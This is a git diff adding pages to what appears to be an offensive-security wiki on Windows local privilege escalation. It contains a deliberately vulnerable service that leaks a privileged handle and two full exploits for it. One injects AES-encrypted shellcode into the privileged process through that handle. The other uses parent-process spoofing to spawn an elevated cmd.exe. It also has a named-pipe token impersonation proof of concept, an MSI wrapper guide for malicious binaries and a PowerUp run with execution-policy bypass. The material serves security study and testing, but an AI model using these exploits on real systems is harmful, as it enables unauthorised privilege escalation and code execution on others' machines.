+	int pid = 0;
+  HANDLE hUserToken;
+	HANDLE hUserProc;
+  HANDLE hProc;
+
+	// open a handle to itself (privileged process) - this gets leaked!
+  hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
+
+	// get PID of user low privileged process
+	if ( pid = FindTarget("explorer.exe") ) 
+		hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
+	else
+		return -1;
+	
+	// extract low privilege token from a user's process
+    if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
+        CloseHandle(hUserProc);
+        return -1;
+    }
+
+	// spawn a child process with low privs and leaked handle
+    ZeroMemory(&si, sizeof(si));
+    si.cb = sizeof(si);
+    ZeroMemory(&pi, sizeof(pi));
+    CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", 
+						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
+
+	CloseHandle(hProc);
+	CloseHandle(hUserProc);
+    return 0;
+}
+
+
+
+void WINAPI ServiceControlHandler( DWORD controlCode ) {
+	switch ( controlCode ) {
+		case SERVICE_CONTROL_SHUTDOWN:
+		case SERVICE_CONTROL_STOP:
+			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
+			SetServiceStatus( serviceStatusHandle, &serviceStatus );
+
+			SetEvent( stopServiceEvent );
+			return;
+
+		case SERVICE_CONTROL_PAUSE:
+			break;
+
+		case SERVICE_CONTROL_CONTINUE:
+			break;
+
+		case SERVICE_CONTROL_INTERROGATE:
+			break;
+
+		default:
+			break;
+	}
+	SetServiceStatus( serviceStatusHandle, &serviceStatus );
+}
+
+void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
+	// initialise service status
+	serviceStatus.dwServiceType = SERVICE_WIN32;
+	serviceStatus.dwCurrentState = SERVICE_STOPPED;
+	serviceStatus.dwControlsAccepted = 0;
+	serviceStatus.dwWin32ExitCode = NO_ERROR;
+	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
+	serviceStatus.dwCheckPoint = 0;
+	serviceStatus.dwWaitHint = 0;
+
+	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
+
+	if ( serviceStatusHandle ) {
+		// service is starting
+		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
+		SetServiceStatus( serviceStatusHandle, &serviceStatus );
+
+		// do initialisation here
+		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
+
+		// running
+		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
+		serviceStatus.dwCurrentState = SERVICE_RUNNING;
+		SetServiceStatus( serviceStatusHandle, &serviceStatus );
+
+		Exploit();
+		WaitForSingleObject( stopServiceEvent, -1 );
+
+		// service was stopped
+		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
+		SetServiceStatus( serviceStatusHandle, &serviceStatus );
+
+		// do cleanup here
+		CloseHandle( stopServiceEvent );
+		stopServiceEvent = 0;
+
+		// service is now stopped
+		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
+		serviceStatus.dwCurrentState = SERVICE_STOPPED;
+		SetServiceStatus( serviceStatusHandle, &serviceStatus );
+	}
+}
+
+
+void InstallService() {
+	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
+
+	if ( serviceControlManager ) {
+		TCHAR path[ _MAX_PATH + 1 ];
+		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
+			SC_HANDLE service = CreateService( serviceControlManager,
+							serviceName, serviceName,
+							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
+							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
+							0, 0, 0, 0, 0 );
+			if ( service )
+				CloseServiceHandle( service );
+		}
+		CloseServiceHandle( serviceControlManager );
+	}
+}
+
+void UninstallService() {
+	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
+
+	if ( serviceControlManager ) {
+		SC_HANDLE service = OpenService( serviceControlManager,
+			serviceName, SERVICE_QUERY_STATUS | DELETE );
+		if ( service ) {
+			SERVICE_STATUS serviceStatus;
+			if ( QueryServiceStatus( service, &serviceStatus ) ) {
+				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
+					DeleteService( service );
+			}
+			CloseServiceHandle( service );
+		}
+		CloseServiceHandle( serviceControlManager );
+	}
+}
+
+int _tmain( int argc, TCHAR* argv[] )
+{
+	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
+		InstallService();
+	}
+	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
+		UninstallService();
+	}
+	else  {
+		SERVICE_TABLE_ENTRY serviceTable[] = {
+			{ serviceName, ServiceMain },
+			{ 0, 0 }
+		};
+	
+		StartServiceCtrlDispatcher( serviceTable );
+	}	
+
+	return 0;
+}
+```
+
+## Exploit Example 1
+
+{% hint style="info" %}
+In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code \(_C:\users\username\desktop\client.exe_ in this case\). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
+{% endhint %}
+
+In this example you can find the code of a possible exploit for _C:\users\username\desktop\client.exe_.  
+The most interesting part of this code is located in `GetVulnProcHandle`. This function will **start fetching all the handles**, then it will **check if any of them belongs to the same PID** and if the handle belongs to a **process**. If all these requirements are completed \(an accessible open process handle is found\) , it try to **inject and execute a shellcode abusing the handle of the process**.   
+The injection of the shellcode is done inside the **`Inject`** function and it will just **write the shellcode inside the privileged process and create a thread inside the same process** to execute the shellcode\).
+
+```c
+#include <windows.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <wincrypt.h>
+#include <psapi.h>
+#include <tchar.h>
+#include <tlhelp32.h>
+#include "client.h"
+#pragma comment (lib, "crypt32.lib")
+#pragma comment (lib, "advapi32")
+#pragma comment (lib, "kernel32")
+
+
+int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
+        HCRYPTPROV hProv;
+        HCRYPTHASH hHash;
+        HCRYPTKEY hKey;
+
+        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
+                return -1;
+        }
+        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
+                return -1;
+        }
+        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
+                return -1;              
+        }
+        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
+                return -1;
+        }
+        
+        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
+                return -1;
+        }
+        
+        CryptReleaseContext(hProv, 0);
+        CryptDestroyHash(hHash);
+        CryptDestroyKey(hKey);
+        
+        return 0;
+}
+
+
+HANDLE GetVulnProcHandle(void) {
+    
+	ULONG handleInfoSize = 0x10000;
+    NTSTATUS status;
+    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
+	HANDLE hProc = NULL;
+	POBJECT_TYPE_INFORMATION objectTypeInfo;
+	PVOID objectNameInfo;
+	UNICODE_STRING objectName;
+    ULONG returnLength;
+    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
+    DWORD dwOwnPID = GetCurrentProcessId();
+	
+    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
+    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
+    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
+    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
+    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
+
+    printf("[+] Grabbing handles...");
+
+    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
+											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
+        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
+
+    if (status != STATUS_SUCCESS)
+    {
+        printf("[!] NtQuerySystemInformation failed!\n");
+        return 0;
+    }
+
+    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
+
+    // iterate handles until we find the privileged process handle
+    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
+    {
+        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
+
+        // Check if this handle belongs to our own process
+        if (handle.UniqueProcessId != dwOwnPID)
+            continue;
+
+        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
+        if (pNtQueryObject( (HANDLE) handle.HandleValue,
+						ObjectTypeInformation,
+						objectTypeInfo,
+						0x1000,
+						NULL ) != STATUS_SUCCESS)
+            continue;
+
+		// skip some objects to avoid getting stuck
+		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
+        if (handle.GrantedAccess == 0x0012019f
+			&& handle.GrantedAccess != 0x00120189
+			&& handle.GrantedAccess != 0x120089
+			&& handle.GrantedAccess != 0x1A019F ) {
+            free(objectTypeInfo);
+            continue;
+        }
+
+		// get object name information
+        objectNameInfo = malloc(0x1000);
+        if (pNtQueryObject( (HANDLE) handle.HandleValue,
+						ObjectNameInformation,
+						objectNameInfo,
+						0x1000,
+						&returnLength ) != STATUS_SUCCESS) {
+            
+			// adjust the size of a returned object and query again
+			objectNameInfo = realloc(objectNameInfo, returnLength);
+            if (pNtQueryObject( (HANDLE) handle.HandleValue,
+							ObjectNameInformation,
+							objectNameInfo,
+							returnLength,
+							NULL ) != STATUS_SUCCESS) {
+                free(objectTypeInfo);
+                free(objectNameInfo);
+                continue;
+            }
+        }
+
+        // check if we've got a process object
+        objectName = *(PUNICODE_STRING) objectNameInfo;
+        UNICODE_STRING pProcess;
+
+        pRtlInitUnicodeString(&pProcess, L"Process");
+        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
+            printf("[+] Found process handle (%x)\n", handle.HandleValue);
+            hProc = (HANDLE) handle.HandleValue;
+			free(objectTypeInfo);
+			free(objectNameInfo);
+			break;
+        }
+        else
+            continue;
+        
+        free(objectTypeInfo);
+        free(objectNameInfo);
+    }
+	
+	return hProc;
+} 
+
+int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
+	
+	LPVOID pRemoteCode = NULL;
+    HANDLE hThread = NULL;
+	BOOL bStatus = FALSE;
+
+	pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
+	pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
+	pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
+	
+	pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
+	pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
+	
+    bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
+	if (bStatus != FALSE) {
+			WaitForSingleObject(hThread, -1);
+			CloseHandle(hThread);
+			return 0;
+	}
+	else
+		return -1;
+}
+
+int main(int argc, char **argv) {
+	
+	int pid = 0;
+	HANDLE hProc = NULL;
+
+	// AES encrypted shellcode spawning notepad.exe (ExitThread)
+	char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
+	unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
+	unsigned int payload_len = sizeof(payload);
+
+	printf("My PID: %d\n", GetCurrentProcessId());
+	getchar();
+	
+	// find a leaked handle to a process
+	hProc = GetVulnProcHandle();
+	
+	if ( hProc != NULL) {
+		
+		// d#Decrypt payload
+		AESDecrypt((char *) payload, payload_len, key, sizeof(key));
+		printf("[+] Sending gift...");
+		// Inject and run the payload in the privileged context
+		Inject(hProc, payload, payload_len);
+		printf("done.\n");
+	}
+	getchar();
+
+    return 0;
+}
+```
+
+## Exploit Example 2
+
+{% hint style="info" %}
+In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code \(_C:\users\username\desktop\client.exe_ in this case\). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
+{% endhint %}
+
+In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148.
+
+Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute  `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing** _**cmd.exe**_ **will have the same token privilege as the open handle process**.
+
+```c
+#include <windows.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <wincrypt.h>
+#include <psapi.h>
+#include <tchar.h>
+#include <tlhelp32.h>
+#include "client.h"
+#pragma comment (lib, "crypt32.lib")
+#pragma comment (lib, "advapi32")
+#pragma comment (lib, "kernel32")
+
+
+HANDLE GetVulnProcHandle(void) {
+    
+	ULONG handleInfoSize = 0x10000;
+    NTSTATUS status;
+    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
+	HANDLE hProc = NULL;
+	POBJECT_TYPE_INFORMATION objectTypeInfo;
+	PVOID objectNameInfo;
+	UNICODE_STRING objectName;
+    ULONG returnLength;
+    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
+    DWORD dwOwnPID = GetCurrentProcessId();
+	
+    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
+    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
+    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
+    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
+    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
+
+    printf("[+] Grabbing handles...");
+
+    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
+											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
+        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
+
+    if (status != STATUS_SUCCESS)
+    {
+        printf("[!] NtQuerySystemInformation failed!\n");
+        return 0;
+    }
+
+    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
+
+    // iterate handles until we find the privileged process handle
+    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
+    {
+        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
+
+        // Check if this handle belongs to our own process
+        if (handle.UniqueProcessId != dwOwnPID)
+            continue;
+
+        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
+        if (pNtQueryObject( (HANDLE) handle.HandleValue,
+						ObjectTypeInformation,
+						objectTypeInfo,
+						0x1000,
+						NULL ) != STATUS_SUCCESS)
+            continue;
+
+		// skip some objects to avoid getting stuck
+		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
+        if (handle.GrantedAccess == 0x0012019f
+			&& handle.GrantedAccess != 0x00120189
+			&& handle.GrantedAccess != 0x120089
+			&& handle.GrantedAccess != 0x1A019F ) {
+            free(objectTypeInfo);
+            continue;
+        }
+
+		// get object name information
+        objectNameInfo = malloc(0x1000);
+        if (pNtQueryObject( (HANDLE) handle.HandleValue,
+						ObjectNameInformation,
+						objectNameInfo,
+						0x1000,
+						&returnLength ) != STATUS_SUCCESS) {
+            
+			// adjust the size of a returned object and query again
+			objectNameInfo = realloc(objectNameInfo, returnLength);
+            if (pNtQueryObject( (HANDLE) handle.HandleValue,
+							ObjectNameInformation,
+							objectNameInfo,
+							returnLength,
+							NULL ) != STATUS_SUCCESS) {
+                free(objectTypeInfo);
+                free(objectNameInfo);
+                continue;
+            }
+        }
+
+        // check if we've got a process object
+        objectName = *(PUNICODE_STRING) objectNameInfo;
+        UNICODE_STRING pProcess;
+
+        pRtlInitUnicodeString(&pProcess, L"Process");
+        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
+            printf("[+] Found process handle (%x)\n", handle.HandleValue);
+            hProc = (HANDLE) handle.HandleValue;
+			free(objectTypeInfo);
+			free(objectNameInfo);
+			break;
+        }
+        else
+            continue;
+        
+        free(objectTypeInfo);
+        free(objectNameInfo);
+    }
+	
+	return hProc;
+} 
+
+
+int main(int argc, char **argv) {
+	
+	HANDLE hProc = NULL;
+    STARTUPINFOEXA si;
+    PROCESS_INFORMATION pi;
+	int pid = 0;
+	SIZE_T size;
+	BOOL ret;
+
+	Sleep(20000);
+	// find leaked process handle
+	hProc = GetVulnProcHandle();
+
+	if ( hProc != NULL) {
+
+		// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
+		ZeroMemory(&si, sizeof(STARTUPINFOEXA));
+
+		InitializeProcThreadAttributeList(NULL, 1, 0, &size);
+		si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
+		
+		InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
+		UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
+
+		si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
+		
+		// Spawn elevated cmd process
+		ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 
+			EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
+
+		if (ret == FALSE) {
+			printf("[!] Error spawning new process: [%d]\n", GetLastError());
+			return -1;
+		}
+	}
+	
+	Sleep(20000);
+    return 0;
+}
+```
+
diff --git a/windows/windows-local-privilege-escalation/msi-wrapper.md b/windows/windows-local-privilege-escalation/msi-wrapper.md
new file mode 100644
index 00000000000..e58ff76ad1d
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/msi-wrapper.md
@@ -0,0 +1,19 @@
+# MSI Wrapper
+
+Download the free version app from [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/), execute it and wrap the "malicious" binary on it.  
+Note that you can wrap a "**.bat**" if you **just** want to **execute** **command lines \(instead of cmd.exe select the .bat file\)**
+
+![](../../.gitbook/assets/image%20%2848%29.png)
+
+And this is the most important part of the configuration:
+
+![](../../.gitbook/assets/image%20%28294%29.png)
+
+![](../../.gitbook/assets/image%20%2812%29.png)
+
+![](../../.gitbook/assets/image%20%28200%29.png)
+
+\(Please, note that if you try to pack your own binary you will be able to modify these values\)
+
+From here just click on **next buttons** and the last **build button and your installer/wrapper will be generated.**
+
diff --git a/windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md
new file mode 100644
index 00000000000..75d021aaa87
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/named-pipe-client-impersonation.md
@@ -0,0 +1,164 @@
+# Named Pipe Client Impersonation
+
+**This information was copied from** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)\*\*\*\*
+
+## Overview
+
+A `pipe` is a block of shared memory that processes can use for communication and data exchange.
+
+`Named Pipes` is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very simar to client/server architecture as notions such as `a named pipe server` and a named `pipe client` exist.
+
+A named pipe server can open a named pipe with some predefined name and then a named pipe client can connect to that pipe via the known name. Once the connection is established, data exchange can begin.
+
+This lab is concerned with a simple PoC code that allows:
+
+* creating a single-threaded dumb named pipe server that will accept one client connection
+* named pipe server to write a simple message to the named pipe so that the pipe client can read it
+
+## Code
+
+Below is the PoC for both the server and the client:
+
+{% tabs %}
+{% tab title="namedPipeServer.cpp" %}
+```cpp
+#include "pch.h"
+#include <Windows.h>
+#include <iostream>
+
+int main() {
+	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
+	LPVOID pipeBuffer = NULL;
+	HANDLE serverPipe;
+	DWORD readBytes = 0;
+	DWORD readBuffer = 0;
+	int err = 0;
+	BOOL isPipeConnected;
+	BOOL isPipeOpen;
+	wchar_t message[] = L"HELL";
+	DWORD messageLenght = lstrlen(message) * 2;
+	DWORD bytesWritten = 0;
+
+	std::wcout << "Creating named pipe " << pipeName << std::endl;
+	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
+	
+	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
+	if (isPipeConnected) {
+		std::wcout << "Incoming connection to " << pipeName << std::endl;
+	}
+	
+	std::wcout << "Sending message: " << message << std::endl;
+	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
+	
+	return 0;
+}
+```
+{% endtab %}
+
+{% tab title="namedPipeClient.cpp" %}
+```cpp
+#include "pch.h"
+#include <iostream>
+#include <Windows.h>
+
+const int MESSAGE_SIZE = 512;
+
+int main()
+{
+	LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
+	HANDLE clientPipe = NULL;
+	BOOL isPipeRead = true;
+	wchar_t message[MESSAGE_SIZE] = { 0 };
+	DWORD bytesRead = 0;
+
+	std::wcout << "Connecting to " << pipeName << std::endl;
+	clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+	
+	while (isPipeRead) {
+		isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
+		std::wcout << "Received message: " << message;
+	}
+
+	return 0;
+}
+```
+{% endtab %}
+{% endtabs %}
+
+## Execution
+
+Below shows the named pipe server and named pipe client working as expected:
+
+![](../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22%20%282%29.png)
+
+Worth nothing that the named pipes communication by default uses SMB protocol:
+
+![](../../.gitbook/assets/screenshot-from-2019-04-04-23-51-48.png)
+
+Checking how the process maintains a handle to our named pipe `mantvydas-first-pipe`:
+
+![](../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22%20%281%29.png)
+
+Similary, we can see the client having an open handle to the named pipe:
+
+![](../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22.png)
+
+We can even see our pipe with powershell:
+
+```csharp
+((Get-ChildItem \\.\pipe\).name)[-1..-5]
+```
+
+![](../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22%20%283%29.png)
+
+## Token Impersonation
+
+{% hint style="info" %}
+Note that in order to impersonate the token of the client process you need to have \(the server process creating the pipe\) the **`SeImpersonate`** token privilege
+{% endhint %}
+
+It is possible for the named pipe server to impersonate the named pipe client's security context by leveraging a `ImpersonateNamedPipeClient` API call which in turn changes the named pipe server's current thread's token with that of the named pipe client's token.
+
+We can update the the named pipe server's code like this to achieve the impersonation - note that modifications are seen in line 25 and below: 
+
+```cpp
+int main() {
+	LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
+	LPVOID pipeBuffer = NULL;
+	HANDLE serverPipe;
+	DWORD readBytes = 0;
+	DWORD readBuffer = 0;
+	int err = 0;
+	BOOL isPipeConnected;
+	BOOL isPipeOpen;
+	wchar_t message[] = L"HELL";
+	DWORD messageLenght = lstrlen(message) * 2;
+	DWORD bytesWritten = 0;
+
+	std::wcout << "Creating named pipe " << pipeName << std::endl;
+	serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
+	
+	isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
+	if (isPipeConnected) {
+		std::wcout << "Incoming connection to " << pipeName << std::endl;
+	}
+	
+	std::wcout << "Sending message: " << message << std::endl;
+	WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
+	
+	std::wcout << "Impersonating the client..." << std::endl;
+	ImpersonateNamedPipeClient(serverPipe);
+	err = GetLastError();	
+
+	STARTUPINFO	si = {};
+	wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
+	PROCESS_INFORMATION pi = {};
+	HANDLE threadToken = GetCurrentThreadToken();
+	CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
+
+	return 0;
+}
+```
+
+Running the server and connecting to it with the client that is running under administrator@offense.local security context, we can see that the main thread of the named server pipe assumed the token of the named pipe client - offense\administrator, although the PipeServer.exe itself is running under ws01\mantvydas security context. Sounds like a good way to escalate privileges?
+
diff --git a/windows/windows-local-privilege-escalation/powerup.md b/windows/windows-local-privilege-escalation/powerup.md
new file mode 100644
index 00000000000..d6e1124f71b
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/powerup.md
@@ -0,0 +1,29 @@
+# PowerUp
+
+## Invoke
+
+```text
+powershell -ep bypass
+. .\powerup.ps
+Invoke-AllChecks
+```
+
+## Checks
+
+_03/2019_
+
+* [x] Current privileges
+* [x] Unquoted service paths
+* [x] Service executable permissions
+* [x] Service permissions
+* [x] %PATH% for hijackable DLL locations
+* [x] AlwaysInstallElevated registry key
+* [x] Autologon credentials in registry
+* [x] Modifidable registry autoruns and configs
+* [x] Modifiable schtask files/configs
+* [x] Unattended install files
+* [x] Encrypted web.config strings
+* [x] Encrypted application pool and virtual directory passwords
+* [x] Plaintext passwords in McAfee SiteList.xml
+* [x] Cached Group Policy Preferences .xml files
+
diff --git a/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
new file mode 100644
index 00000000000..a3cc6b7796a
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
@@ -0,0 +1,208 @@
+# Privilege Escalation Abusing Tokens
+
+## Tokens
+
+If you **don't know what are Windows Access Tokens** read this page before continuing:
+
